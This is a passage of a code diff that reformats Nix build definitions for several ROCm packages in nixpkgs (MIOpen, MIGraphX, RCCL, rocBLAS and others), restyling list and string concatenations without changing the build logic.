-              find $lib -type f -exec remove-references-to -t ${stdenv.cc.bintools} {} +
-            '';
-          preConfigure =
-            (old.preConfigure or "")
-            + ''
-              cmakeFlagsArray+=(
-                '-DCMAKE_C_FLAGS_RELEASE=${llvmExtraCflags}'
-                '-DCMAKE_CXX_FLAGS_RELEASE=${llvmExtraCflags}'
-              )
-            '';
+          postFixup = (old.postFixup or "") + ''
+            find $lib -type f -exec remove-references-to -t ${stdenv.cc.cc} {} +
+            find $lib -type f -exec remove-references-to -t ${stdenv.cc.bintools} {} +
+          '';
+          preConfigure = (old.preConfigure or "") + ''
+            cmakeFlagsArray+=(
+              '-DCMAKE_C_FLAGS_RELEASE=${llvmExtraCflags}'
+              '-DCMAKE_CXX_FLAGS_RELEASE=${llvmExtraCflags}'
+            )
+          '';
         }
       )
     )
@@ -441,24 +437,23 @@ rec {
   # Emulate a monolithic ROCm LLVM build to support building ROCm's in-tree LLVM projects
   rocm-merged-llvm = symlinkJoin {
     name = "rocm-llvm-merge";
-    paths =
-      [
-        llvm
-        llvm.dev
-        lld
-        lld.lib
-        lld.dev
-        libunwind
-        libunwind.dev
-        compiler-rt
-        compiler-rt.dev
-        rocmcxx
-      ]
-      ++ lib.optionals useLibcxx [
-        libcxx
-        libcxx.out
-        libcxx.dev
-      ];
+    paths = [
+      llvm
+      llvm.dev
+      lld
+      lld.lib
+      lld.dev
+      libunwind
+      libunwind.dev
+      compiler-rt
+      compiler-rt.dev
+      rocmcxx
+    ]
+    ++ lib.optionals useLibcxx [
+      libcxx
+      libcxx.out
+      libcxx.dev
+    ];
     postBuild = builtins.unsafeDiscardStringContext ''
       found_files=$(find $out -name '*.cmake')
       if [ -z "$found_files" ]; then
diff --git a/pkgs/development/rocm-modules/6/migraphx/default.nix b/pkgs/development/rocm-modules/6/migraphx/default.nix
index 5501e6044b61..45022fed6d21 100644
--- a/pkgs/development/rocm-modules/6/migraphx/default.nix
+++ b/pkgs/development/rocm-modules/6/migraphx/default.nix
@@ -56,16 +56,15 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "migraphx";
   version = "6.3.3";
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals buildDocs [
-      "doc"
-    ]
-    ++ lib.optionals buildTests [
-      "test"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals buildDocs [
+    "doc"
+  ]
+  ++ lib.optionals buildTests [
+    "test"
+  ];
 
   src = fetchFromGitHub {
     owner = "ROCm";
@@ -74,23 +73,22 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-h9cTbrMwHeRGVJS/uHQnCXplNcrBqxbhwz2AcAEso0M=";
   };
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      cmake
-      rocm-cmake
-      clr
-      python3Packages.python
-    ]
-    ++ lib.optionals buildDocs [
-      latex
-      doxygen
-      sphinx
-      docutils
-      ghostscript
-      python3Packages.sphinx-rtd-theme
-      python3Packages.breathe
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    cmake
+    rocm-cmake
+    clr
+    python3Packages.python
+  ]
+  ++ lib.optionals buildDocs [
+    latex
+    doxygen
+    sphinx
+    docutils
+    ghostscript
+    python3Packages.sphinx-rtd-theme
+    python3Packages.breathe
+  ];
 
   buildInputs = [
     openmp
@@ -140,23 +138,22 @@ stdenv.mkDerivation (finalAttrs: {
     "-DGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
   ];
 
-  postPatch =
-    ''
-      export CXXFLAGS+=" -w -isystem${rocmlir}/include/rocmlir -I${half}/include -I${abseil-cpp}/include -I${hipblas-common}/include"
-      patchShebangs tools
+  postPatch = ''
+    export CXXFLAGS+=" -w -isystem${rocmlir}/include/rocmlir -I${half}/include -I${abseil-cpp}/include -I${hipblas-common}/include"
+    patchShebangs tools
 
-      # `error: '__clang_hip_runtime_wrapper.h' file not found [clang-diagnostic-error]`
-      substituteInPlace CMakeLists.txt \
-        --replace "set(MIGRAPHX_TIDY_ERRORS ALL)" ""
-    ''
-    + lib.optionalString (!buildDocs) ''
-      substituteInPlace CMakeLists.txt \
-        --replace "add_subdirectory(doc)" ""
-    ''
-    + lib.optionalString (!buildTests) ''
-      substituteInPlace CMakeLists.txt \
-        --replace "add_subdirectory(test)" ""
-    '';
+    # `error: '__clang_hip_runtime_wrapper.h' file not found [clang-diagnostic-error]`
+    substituteInPlace CMakeLists.txt \
+      --replace "set(MIGRAPHX_TIDY_ERRORS ALL)" ""
+  ''
+  + lib.optionalString (!buildDocs) ''
+    substituteInPlace CMakeLists.txt \
+      --replace "add_subdirectory(doc)" ""
+  ''
+  + lib.optionalString (!buildTests) ''
+    substituteInPlace CMakeLists.txt \
+      --replace "add_subdirectory(test)" ""
+  '';
 
   # Unfortunately, it seems like we have to call make on this manually
   preInstall = lib.optionalString buildDocs ''
diff --git a/pkgs/development/rocm-modules/6/miopen/default.nix b/pkgs/development/rocm-modules/6/miopen/default.nix
index b8e072b9c3fb..3a24c267ffaf 100644
--- a/pkgs/development/rocm-modules/6/miopen/default.nix
+++ b/pkgs/development/rocm-modules/6/miopen/default.nix
@@ -151,16 +151,15 @@ stdenv.mkDerivation (finalAttrs: {
     # })
   ];
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals buildDocs [
-      "doc"
-    ]
-    ++ lib.optionals buildTests [
-      "test"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals buildDocs [
+    "doc"
+  ]
+  ++ lib.optionals buildTests [
+    "test"
+  ];
   enableParallelBuilding = true;
   env.ROCM_PATH = clr;
   env.LD_LIBRARY_PATH = lib.makeLibraryPath [ rocm-runtime ];
@@ -173,73 +172,71 @@ stdenv.mkDerivation (finalAttrs: {
     clr
   ];
 
-  buildInputs =
-    [
-      hipblas
-      hipblas-common
-      rocblas
-      rocmlir
-      half
-      boost
-      sqlite
-      bzip2
-      nlohmann_json
-      frugally-deep
-      roctracer
-      rocrand
-      hipblaslt
-    ]
-    ++ lib.optionals withComposableKernel [
-      composable_kernel
-    ]
-    ++ lib.optionals buildDocs [
-      latex
-      doxygen
-      sphinx
-      rocm-docs-core
-      python3Packages.sphinx-rtd-theme
-      python3Packages.breathe
-      python3Packages.myst-parser
-    ]
-    ++ lib.optionals buildTests [
-      gtest
-      zlib
-    ];
+  buildInputs = [
+    hipblas
+    hipblas-common
+    rocblas
+    rocmlir
+    half
+    boost
+    sqlite
+    bzip2
+    nlohmann_json
+    frugally-deep
+    roctracer
+    rocrand
+    hipblaslt
+  ]
+  ++ lib.optionals withComposableKernel [
+    composable_kernel
+  ]
+  ++ lib.optionals buildDocs [
+    latex
+    doxygen
+    sphinx
+    rocm-docs-core
+    python3Packages.sphinx-rtd-theme
+    python3Packages.breathe
+    python3Packages.myst-parser
+  ]
+  ++ lib.optionals buildTests [
+    gtest
+    zlib
+  ];
 
-  cmakeFlags =
-    [
-      "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
-      "-DGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
-      "-DGPU_ARCHS=${lib.concatStringsSep ";" gpuTargets}"
-      "-DMIOPEN_USE_SQLITE_PERFDB=ON"
-      "-DCMAKE_VERBOSE_MAKEFILE=ON"
-      "-DCMAKE_MODULE_PATH=${clr}/hip/cmake"
-      "-DCMAKE_BUILD_TYPE=Release"
+  cmakeFlags = [
+    "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
+    "-DGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
+    "-DGPU_ARCHS=${lib.concatStringsSep ";" gpuTargets}"
+    "-DMIOPEN_USE_SQLITE_PERFDB=ON"
+    "-DCMAKE_VERBOSE_MAKEFILE=ON"
+    "-DCMAKE_MODULE_PATH=${clr}/hip/cmake"
+    "-DCMAKE_BUILD_TYPE=Release"
 
-      # needs to stream to stdout so bzcat rather than bunzip2
-      "-DUNZIPPER=${bzip2}/bin/bzcat"
+    # needs to stream to stdout so bzcat rather than bunzip2
+    "-DUNZIPPER=${bzip2}/bin/bzcat"
 
-      "-DCMAKE_C_COMPILER=amdclang"
-      "-DCMAKE_CXX_COMPILER=amdclang++"
-      "-DROCM_PATH=${clr}"
-      "-DHIP_ROOT_DIR=${clr}"
-      (lib.cmakeBool "MIOPEN_USE_ROCBLAS" true)
-      (lib.cmakeBool "MIOPEN_USE_HIPBLASLT" true)
-      (lib.cmakeBool "MIOPEN_USE_COMPOSABLEKERNEL" withComposableKernel)
-      (lib.cmakeBool "MIOPEN_USE_HIPRTC" true)
-      (lib.cmakeBool "MIOPEN_USE_COMGR" true)
-      "-DCMAKE_HIP_COMPILER_ROCM_ROOT=${clr}"
-      # Manually define CMAKE_INSTALL_<DIR>
-      # See: https://github.com/NixOS/nixpkgs/pull/197838
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-      "-DMIOPEN_BACKEND=HIP"
-    ]
-    ++ lib.optionals buildTests [
-      "-DBUILD_TESTS=ON"
-      "-DMIOPEN_TEST_ALL=ON"
-    ];
+    "-DCMAKE_C_COMPILER=amdclang"
+    "-DCMAKE_CXX_COMPILER=amdclang++"
+    "-DROCM_PATH=${clr}"
+    "-DHIP_ROOT_DIR=${clr}"
+    (lib.cmakeBool "MIOPEN_USE_ROCBLAS" true)
+    (lib.cmakeBool "MIOPEN_USE_HIPBLASLT" true)
+    (lib.cmakeBool "MIOPEN_USE_COMPOSABLEKERNEL" withComposableKernel)
+    (lib.cmakeBool "MIOPEN_USE_HIPRTC" true)
+    (lib.cmakeBool "MIOPEN_USE_COMGR" true)
+    "-DCMAKE_HIP_COMPILER_ROCM_ROOT=${clr}"
+    # Manually define CMAKE_INSTALL_<DIR>
+    # See: https://github.com/NixOS/nixpkgs/pull/197838
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+    "-DMIOPEN_BACKEND=HIP"
+  ]
+  ++ lib.optionals buildTests [
+    "-DBUILD_TESTS=ON"
+    "-DMIOPEN_TEST_ALL=ON"
+  ];
 
   postPatch = ''
     substituteInPlace cmake/ClangTidy.cmake \
@@ -273,31 +270,30 @@ stdenv.mkDerivation (finalAttrs: {
       make -j$NIX_BUILD_CORES check
     '';
 
-  postInstall =
-    ''
-      rm $out/bin/install_precompiled_kernels.sh
-      ln -sf ${gfx900} $out/share/miopen/db/gfx900.kdb
-      ln -sf ${gfx906} $out/share/miopen/db/gfx906.kdb
-      ln -sf ${gfx908} $out/share/miopen/db/gfx908.kdb
-      ln -sf ${gfx90a} $out/share/miopen/db/gfx90a.kdb
-      ln -sf ${gfx1030} $out/share/miopen/db/gfx1030.kdb
-    ''
-    + lib.optionalString buildDocs ''
-      mv ../doc/html $out/share/doc/miopen-hip
-    ''
-    + lib.optionalString buildTests ''
-      mkdir -p $test/bin
-      mv bin/test_* $test/bin
-      patchelf --set-rpath $out/lib:${
-        lib.makeLibraryPath (
-          finalAttrs.buildInputs
-          ++ [
-            clr
-            rocm-comgr
-          ]
-        )
-      } $test/bin/*
-    '';
+  postInstall = ''
+    rm $out/bin/install_precompiled_kernels.sh
+    ln -sf ${gfx900} $out/share/miopen/db/gfx900.kdb
+    ln -sf ${gfx906} $out/share/miopen/db/gfx906.kdb
+    ln -sf ${gfx908} $out/share/miopen/db/gfx908.kdb
+    ln -sf ${gfx90a} $out/share/miopen/db/gfx90a.kdb
+    ln -sf ${gfx1030} $out/share/miopen/db/gfx1030.kdb
+  ''
+  + lib.optionalString buildDocs ''
+    mv ../doc/html $out/share/doc/miopen-hip
+  ''
+  + lib.optionalString buildTests ''
+    mkdir -p $test/bin
+    mv bin/test_* $test/bin
+    patchelf --set-rpath $out/lib:${
+      lib.makeLibraryPath (
+        finalAttrs.buildInputs
+        ++ [
+          clr
+          rocm-comgr
+        ]
+      )
+    } $test/bin/*
+  '';
 
   requiredSystemFeatures = [ "big-parallel" ];
 
diff --git a/pkgs/development/rocm-modules/6/mivisionx/default.nix b/pkgs/development/rocm-modules/6/mivisionx/default.nix
index 34d1fadc2c36..0008b69f404a 100644
--- a/pkgs/development/rocm-modules/6/mivisionx/default.nix
+++ b/pkgs/development/rocm-modules/6/mivisionx/default.nix
@@ -55,17 +55,16 @@ stdenv.mkDerivation (finalAttrs: {
     ./0001-set-__STDC_CONSTANT_MACROS-to-make-rocAL-compile.patch
   ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      rocm-cmake
-      clr
-      pkg-config
-    ]
-    ++ lib.optionals buildDocs [
-      rocm-docs-core
-      python3Packages.python
-    ];
+  nativeBuildInputs = [
+    cmake
+    rocm-cmake
+    clr
+    pkg-config
+  ]
+  ++ lib.optionals buildDocs [
+    rocm-docs-core
+    python3Packages.python
+  ];
 
   buildInputs = [
     miopen
@@ -87,33 +86,32 @@ stdenv.mkDerivation (finalAttrs: {
     python3Packages.torchWithRocm
   ];
 
-  cmakeFlags =
-    [
-      "-DROCM_PATH=${clr}"
-      "-DAMDRPP_PATH=${rpp}"
-      # Manually define CMAKE_INSTALL_<DIR>
-      # See: https://github.com/NixOS/nixpkgs/pull/197838
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-      "-DCMAKE_INSTALL_PREFIX_PYTHON=lib"
-      "-DOpenMP_C_INCLUDE_DIR=${openmp.dev}/include"
-      "-DOpenMP_CXX_INCLUDE_DIR=${openmp.dev}/include"
-      "-DOpenMP_omp_LIBRARY=${openmp}/lib"
-      # "-DAMD_FP16_SUPPORT=ON" `error: typedef redefinition with different types ('__half' vs 'half_float::half')`
-    ]
-    ++ lib.optionals (gpuTargets != [ ]) [
-      "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
-    ]
-    ++ lib.optionals (!useOpenCL && !useCPU) [
-      "-DBACKEND=HIP"
-    ]
-    ++ lib.optionals (useOpenCL && !useCPU) [
-      "-DBACKEND=OCL"
-    ]
-    ++ lib.optionals useCPU [
-      "-DBACKEND=CPU"
-    ];
+  cmakeFlags = [
+    "-DROCM_PATH=${clr}"
+    "-DAMDRPP_PATH=${rpp}"
+    # Manually define CMAKE_INSTALL_<DIR>
+    # See: https://github.com/NixOS/nixpkgs/pull/197838
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+    "-DCMAKE_INSTALL_PREFIX_PYTHON=lib"
+    "-DOpenMP_C_INCLUDE_DIR=${openmp.dev}/include"
+    "-DOpenMP_CXX_INCLUDE_DIR=${openmp.dev}/include"
+    "-DOpenMP_omp_LIBRARY=${openmp}/lib"
+    # "-DAMD_FP16_SUPPORT=ON" `error: typedef redefinition with different types ('__half' vs 'half_float::half')`
+  ]
+  ++ lib.optionals (gpuTargets != [ ]) [
+    "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
+  ]
+  ++ lib.optionals (!useOpenCL && !useCPU) [
+    "-DBACKEND=HIP"
+  ]
+  ++ lib.optionals (useOpenCL && !useCPU) [
+    "-DBACKEND=OCL"
+  ]
+  ++ lib.optionals useCPU [
+    "-DBACKEND=CPU"
+  ];
 
   postPatch = ''
     # We need to not use hipcc and define the CXXFLAGS manually due to `undefined hidden symbol: tensorflow:: ...`
diff --git a/pkgs/development/rocm-modules/6/rccl/default.nix b/pkgs/development/rocm-modules/6/rccl/default.nix
index c74c6287cf21..4e7d32bd4bc4 100644
--- a/pkgs/development/rocm-modules/6/rccl/default.nix
+++ b/pkgs/development/rocm-modules/6/rccl/default.nix
@@ -36,13 +36,12 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "rccl${clr.gpuArchSuffix}";
   version = "6.3.3";
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals buildTests [
-      "test"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals buildTests [
+    "test"
+  ];
 
   patches = [
     ./fix-mainline-support-and-ub.diff
@@ -66,45 +65,43 @@ stdenv.mkDerivation (finalAttrs: {
     autoPatchelfHook # ASAN doesn't add rpath without this
   ];
 
-  buildInputs =
-    [
-      rocm-smi
-      gtest
-      rocprofiler
-      rocprofiler-register
-      mscclpp
-    ]
-    ++ lib.optionals buildTests [
-      chrpath
-    ];
+  buildInputs = [
+    rocm-smi
+    gtest
+    rocprofiler
+    rocprofiler-register
+    mscclpp
+  ]
+  ++ lib.optionals buildTests [
+    chrpath
+  ];
 
-  cmakeFlags =
-    [
-      "-DHIP_CLANG_NUM_PARALLEL_JOBS=4"
-      "-DCMAKE_BUILD_TYPE=Release"
-      "-DROCM_PATH=${clr}"
-      "-DHIP_COMPILER=${clr}/bin/amdclang++"
-      "-DCMAKE_CXX_COMPILER=${clr}/bin/amdclang++"
-      "-DROCM_PATCH_VERSION=${rocm-core.ROCM_LIBPATCH_VERSION}"
-      "-DROCM_VERSION=${rocm-core.ROCM_LIBPATCH_VERSION}"
-      "-DBUILD_BFD=OFF" # Can't get it to detect bfd.h
-      "-DENABLE_MSCCL_KERNEL=ON"
-      "-DENABLE_MSCCLPP=ON"
-      "-DMSCCLPP_ROOT=${mscclpp}"
-      # Manually define CMAKE_INSTALL_<DIR>
-      # See: https://github.com/NixOS/nixpkgs/pull/197838
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-    ]
-    ++ lib.optionals (gpuTargets != [ ]) [
-      # AMD can't make up their minds and keep changing which one is used in different projects.
-      "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
-      "-DGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
-    ]
-    ++ lib.optionals buildTests [
-      "-DBUILD_TESTS=ON"
-    ];
+  cmakeFlags = [
+    "-DHIP_CLANG_NUM_PARALLEL_JOBS=4"
+    "-DCMAKE_BUILD_TYPE=Release"
+    "-DROCM_PATH=${clr}"
+    "-DHIP_COMPILER=${clr}/bin/amdclang++"
+    "-DCMAKE_CXX_COMPILER=${clr}/bin/amdclang++"
+    "-DROCM_PATCH_VERSION=${rocm-core.ROCM_LIBPATCH_VERSION}"
+    "-DROCM_VERSION=${rocm-core.ROCM_LIBPATCH_VERSION}"
+    "-DBUILD_BFD=OFF" # Can't get it to detect bfd.h
+    "-DENABLE_MSCCL_KERNEL=ON"
+    "-DENABLE_MSCCLPP=ON"
+    "-DMSCCLPP_ROOT=${mscclpp}"
+    # Manually define CMAKE_INSTALL_<DIR>
+    # See: https://github.com/NixOS/nixpkgs/pull/197838
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+  ]
+  ++ lib.optionals (gpuTargets != [ ]) [
+    # AMD can't make up their minds and keep changing which one is used in different projects.
+    "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
+    "-DGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
+  ]
+  ++ lib.optionals buildTests [
+    "-DBUILD_TESTS=ON"
+  ];
 
   # -O2 and -fno-strict-aliasing due to UB issues in RCCL :c
   # Reported upstream
diff --git a/pkgs/development/rocm-modules/6/rdc/default.nix b/pkgs/development/rocm-modules/6/rdc/default.nix
index a19f2c9aa51f..36f85f90c3dc 100644
--- a/pkgs/development/rocm-modules/6/rdc/default.nix
+++ b/pkgs/development/rocm-modules/6/rdc/default.nix
@@ -50,16 +50,15 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "rdc";
   version = "6.3.3";
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals buildDocs [
-      "doc"
-    ]
-    ++ lib.optionals buildTests [
-      "test"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals buildDocs [
+    "doc"
+  ]
+  ++ lib.optionals buildTests [
+    "test"
+  ];
 
   src = fetchFromGitHub {
     owner = "ROCm";
@@ -68,67 +67,63 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-s/31b8/Kn5l1QJ941UMSB8SCzpvODsPfOLMmEBUYYmY=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      protobuf
-    ]
-    ++ lib.optionals buildDocs [
-      doxygen
-      graphviz
-      latex
-    ];
+  nativeBuildInputs = [
+    cmake
+    protobuf
+  ]
+  ++ lib.optionals buildDocs [
+    doxygen
+    graphviz
+    latex
+  ];
 
-  buildInputs =
-    [
-      amdsmi
-      rocm-smi
-      rocm-runtime
-      libcap
-      libdrm
-      grpc
-      openssl
-    ]
-    ++ lib.optionals buildTests [
-      gtest
-    ];
+  buildInputs = [
+    amdsmi
+    rocm-smi
+    rocm-runtime
+    libcap
+    libdrm
+    grpc
+    openssl
+  ]
+  ++ lib.optionals buildTests [
+    gtest
+  ];
 
   CXXFLAGS = "-I${libcap.dev}/include";
 
-  cmakeFlags =
-    [
-      "-DCMAKE_VERBOSE_MAKEFILE=OFF"
-      "-DRDC_INSTALL_PREFIX=${placeholder "out"}"
-      "-DBUILD_ROCRTEST=ON"
-      "-DRSMI_INC_DIR=${rocm-smi}/include"
-      "-DRSMI_LIB_DIR=${rocm-smi}/lib"
-      "-DGRPC_ROOT=${grpc}"
-      # Manually define CMAKE_INSTALL_<DIR>
-      # See: https://github.com/NixOS/nixpkgs/pull/197838
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-      "-DCMAKE_INSTALL_LIBEXECDIR=libexec"
-      "-DCMAKE_INSTALL_DOCDIR=doc"
-    ]
-    ++ lib.optionals buildTests [
-      "-DBUILD_TESTS=ON"
-    ];
+  cmakeFlags = [
+    "-DCMAKE_VERBOSE_MAKEFILE=OFF"
+    "-DRDC_INSTALL_PREFIX=${placeholder "out"}"
+    "-DBUILD_ROCRTEST=ON"
+    "-DRSMI_INC_DIR=${rocm-smi}/include"
+    "-DRSMI_LIB_DIR=${rocm-smi}/lib"
+    "-DGRPC_ROOT=${grpc}"
+    # Manually define CMAKE_INSTALL_<DIR>
+    # See: https://github.com/NixOS/nixpkgs/pull/197838
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+    "-DCMAKE_INSTALL_LIBEXECDIR=libexec"
+    "-DCMAKE_INSTALL_DOCDIR=doc"
+  ]
+  ++ lib.optionals buildTests [
+    "-DBUILD_TESTS=ON"
+  ];
 
   postPatch = ''
     substituteInPlace CMakeLists.txt \
       --replace "file(STRINGS /etc/os-release LINUX_DISTRO LIMIT_COUNT 1 REGEX \"NAME=\")" "set(LINUX_DISTRO \"NixOS\")"
   '';
 
-  postInstall =
-    ''
-      find $out/bin -executable -type f -exec \
-        patchelf {} --shrink-rpath --allowed-rpath-prefixes "$NIX_STORE" \;
-    ''
-    + lib.optionalString buildTests ''
-      mkdir -p $test
-      mv $out/bin/rdctst_tests $test/bin
-    '';
+  postInstall = ''
+    find $out/bin -executable -type f -exec \
+      patchelf {} --shrink-rpath --allowed-rpath-prefixes "$NIX_STORE" \;
+  ''
+  + lib.optionalString buildTests ''
+    mkdir -p $test
+    mv $out/bin/rdctst_tests $test/bin
+  '';
 
   passthru.updateScript = rocmUpdateScript {
     name = finalAttrs.pname;
diff --git a/pkgs/development/rocm-modules/6/rocalution/default.nix b/pkgs/development/rocm-modules/6/rocalution/default.nix
index 785a2f4676a2..c0b7222747fd 100644
--- a/pkgs/development/rocm-modules/6/rocalution/default.nix
+++ b/pkgs/development/rocm-modules/6/rocalution/default.nix
@@ -25,19 +25,18 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "rocalution";
   version = "6.3.3";
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals buildTests [
-      "test"
-    ]
-    ++ lib.optionals buildBenchmarks [
-      "benchmark"
-    ]
-    ++ lib.optionals buildSamples [
-      "sample"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals buildTests [
+    "test"
+  ]
+  ++ lib.optionals buildBenchmarks [
+    "benchmark"
+  ]
+  ++ lib.optionals buildSamples [
+    "sample"
+  ];
 
   src = fetchFromGitHub {
     owner = "ROCm";
@@ -54,47 +53,45 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      rocblas
-      rocsparse
-      rocprim
-      rocrand
-      openmp
-      openmpi
-    ]
-    ++ lib.optionals buildTests [
-      gtest
-    ];
+  buildInputs = [
+    rocblas
+    rocsparse
+    rocprim
+    rocrand
+    openmp
+    openmpi
+  ]
+  ++ lib.optionals buildTests [
+    gtest
+  ];
 
   CXXFLAGS = "-I${openmp.dev}/include";
-  cmakeFlags =
-    [
-      "-DOpenMP_C_INCLUDE_DIR=${openmp.dev}/include"
-      "-DOpenMP_CXX_INCLUDE_DIR=${openmp.dev}/include"
-      "-DOpenMP_omp_LIBRARY=${openmp}/lib"
-      "-DROCM_PATH=${clr}"
-      "-DHIP_ROOT_DIR=${clr}"
-      "-DSUPPORT_HIP=ON"
-      "-DSUPPORT_OMP=ON"
-      "-DSUPPORT_MPI=ON"
-      "-DBUILD_CLIENTS_SAMPLES=${if buildSamples then "ON" else "OFF"}"
-      # Manually define CMAKE_INSTALL_<DIR>
-      # See: https://github.com/NixOS/nixpkgs/pull/197838
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-    ]
-    ++ lib.optionals (gpuTargets != [ ]) [
-      "-DAMDGPU_TARGETS=${lib.strings.concatStringsSep ";" gpuTargets}"
-      "-DGPU_TARGETS=${lib.strings.concatStringsSep ";" gpuTargets}"
-    ]
-    ++ lib.optionals buildTests [
-      "-DBUILD_CLIENTS_TESTS=ON"
-    ]
-    ++ lib.optionals buildBenchmarks [
-      "-DBUILD_CLIENTS_BENCHMARKS=ON"
-    ];
+  cmakeFlags = [
+    "-DOpenMP_C_INCLUDE_DIR=${openmp.dev}/include"
+    "-DOpenMP_CXX_INCLUDE_DIR=${openmp.dev}/include"
+    "-DOpenMP_omp_LIBRARY=${openmp}/lib"
+    "-DROCM_PATH=${clr}"
+    "-DHIP_ROOT_DIR=${clr}"
+    "-DSUPPORT_HIP=ON"
+    "-DSUPPORT_OMP=ON"
+    "-DSUPPORT_MPI=ON"
+    "-DBUILD_CLIENTS_SAMPLES=${if buildSamples then "ON" else "OFF"}"
+    # Manually define CMAKE_INSTALL_<DIR>
+    # See: https://github.com/NixOS/nixpkgs/pull/197838
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+  ]
+  ++ lib.optionals (gpuTargets != [ ]) [
+    "-DAMDGPU_TARGETS=${lib.strings.concatStringsSep ";" gpuTargets}"
+    "-DGPU_TARGETS=${lib.strings.concatStringsSep ";" gpuTargets}"
+  ]
+  ++ lib.optionals buildTests [
+    "-DBUILD_CLIENTS_TESTS=ON"
+  ]
+  ++ lib.optionals buildBenchmarks [
+    "-DBUILD_CLIENTS_BENCHMARKS=ON"
+  ];
 
   postInstall =
     lib.optionalString buildTests ''
diff --git a/pkgs/development/rocm-modules/6/rocblas/default.nix b/pkgs/development/rocm-modules/6/rocblas/default.nix
index 2b110e0f127f..2d7243ea9ffb 100644
--- a/pkgs/development/rocm-modules/6/rocblas/default.nix
+++ b/pkgs/development/rocm-modules/6/rocblas/default.nix
@@ -74,45 +74,43 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-IYcrVcGH4yZDkFZeNOJPfG0qsPS/WiH0fTSUSdo1BH4=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      # no ninja, it buffers console output and nix times out long periods of no output
-      rocm-cmake
-      clr
-      git
-    ]
-    ++ lib.optionals buildTensile [
-      tensile
-    ];
+  nativeBuildInputs = [
+    cmake
+    # no ninja, it buffers console output and nix times out long periods of no output
+    rocm-cmake
+    clr
+    git
+  ]
+  ++ lib.optionals buildTensile [
+    tensile
+  ];
 
-  buildInputs =
-    [
-      python3
-      hipblas-common
-    ]
-    ++ lib.optionals withHipBlasLt [
-      hipblaslt
-    ]
-    ++ lib.optionals buildTensile [
-      zstd
-      msgpack
-      libxml2
-      python3Packages.msgpack
-      python3Packages.zstandard
-    ]
-    ++ lib.optionals buildTests [
-      gtest
-    ]
-    ++ lib.optionals (buildTests || buildBenchmarks) [
-      gfortran
-      openmp
-      amd-blis
-      rocm-smi
-    ]
-    ++ lib.optionals (buildTensile || buildTests || buildBenchmarks) [
-      python3Packages.pyyaml
-    ];
+  buildInputs = [
+    python3
+    hipblas-common
+  ]
+  ++ lib.optionals withHipBlasLt [
+    hipblaslt
+  ]
+  ++ lib.optionals buildTensile [
+    zstd
+    msgpack
+    libxml2
+    python3Packages.msgpack
+    python3Packages.zstandard
+  ]
+  ++ lib.optionals buildTests [
+    gtest
+  ]
+  ++ lib.optionals (buildTests || buildBenchmarks) [
+    gfortran
+    openmp
+    amd-blis
+    rocm-smi
+  ]
+  ++ lib.optionals (buildTensile || buildTests || buildBenchmarks) [
+    python3Packages.pyyaml
+  ];
 
   dontStrip = true;
   env.CXXFLAGS =
